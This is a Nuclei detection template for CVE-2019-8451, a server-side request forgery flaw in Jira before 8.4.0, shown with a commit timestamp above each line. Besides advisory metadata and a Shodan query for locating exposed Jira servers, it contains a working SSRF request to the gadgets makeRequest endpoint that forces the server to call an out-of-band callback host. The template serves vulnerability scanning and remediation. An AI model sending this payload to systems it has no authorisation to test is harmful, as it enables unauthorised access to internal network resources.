2021-01-02 04:59:06 +00:00
id : CVE-2019-8451
2020-07-06 14:52:34 +00:00
info :
2023-04-04 18:57:31 +00:00
name : Jira <8.4.0 - Server-Side Request Forgery
2021-02-05 19:44:41 +00:00
author : TechbrunchFR
2020-07-06 14:52:34 +00:00
severity : medium
2023-04-10 19:56:05 +00:00
description : Jira before 8.4.0 is susceptible to server-side request forgery. The /plugins/servlet/gadgets/makeRequest resource contains a logic bug in the JiraWhitelist class, which can allow an attacker to access the content of internal network resources and thus modify data, and/or execute unauthorized operations.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
2023-09-06 12:53:28 +00:00
remediation : |
Upgrade Jira to version 8.4.0 or later to mitigate the SSRF vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-03-30 12:10:17 +00:00
- https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
- https://jira.atlassian.com/browse/JRASERVER-69793
2021-07-30 11:50:31 +00:00
- https://hackerone.com/reports/713900
2023-04-04 18:57:31 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-8451
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2019-8451
cwe-id : CWE-918
2023-04-12 10:55:48 +00:00
epss-score : 0.97115
2023-12-12 11:07:52 +00:00
epss-percentile : 0.99734
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:*
2022-07-04 13:18:28 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : atlassian
product : jira_server
2023-09-06 12:53:28 +00:00
shodan-query : http.component:"Atlassian Jira"
2022-08-27 04:41:18 +00:00
tags : atlassian,jira,ssrf,oast,tenable,hackerone,cve,cve2019
2020-07-06 14:52:34 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-30 11:50:31 +00:00
- method : POST
2020-07-06 14:52:34 +00:00
path :
2021-07-30 11:50:31 +00:00
- '{{BaseURL}}/plugins/servlet/gadgets/makeRequest'
2021-07-30 12:05:48 +00:00
2021-08-01 19:57:40 +00:00
body : |
2022-01-07 07:28:37 +00:00
url=https://{{Host}}:443@{{interactsh-url}}
2021-08-01 19:57:40 +00:00
2020-07-06 14:52:34 +00:00
headers :
2021-08-19 13:59:55 +00:00
X-Atlassian-Token : no -check
2021-07-30 11:50:31 +00:00
Content-Type : application/x-www-form-urlencoded
2020-07-06 14:52:34 +00:00
matchers :
- type : word
2021-07-30 11:50:31 +00:00
part : interactsh_protocol
2020-07-06 14:52:34 +00:00
words :
2021-08-01 20:00:00 +00:00
- "http" # Confirms the HTTP Interaction
2023-12-29 09:30:44 +00:00
# digest: 4a0a0047304502205b163ae76ad5bc15f860b39041eb456e0a1ac0ebb32bda88155904af95623a69022100ec24bd249d29a575cf97575cf620e273fdcf4e662400a0eb661ffb47768e0157:922c64590222798bb761d5b6d8e72950
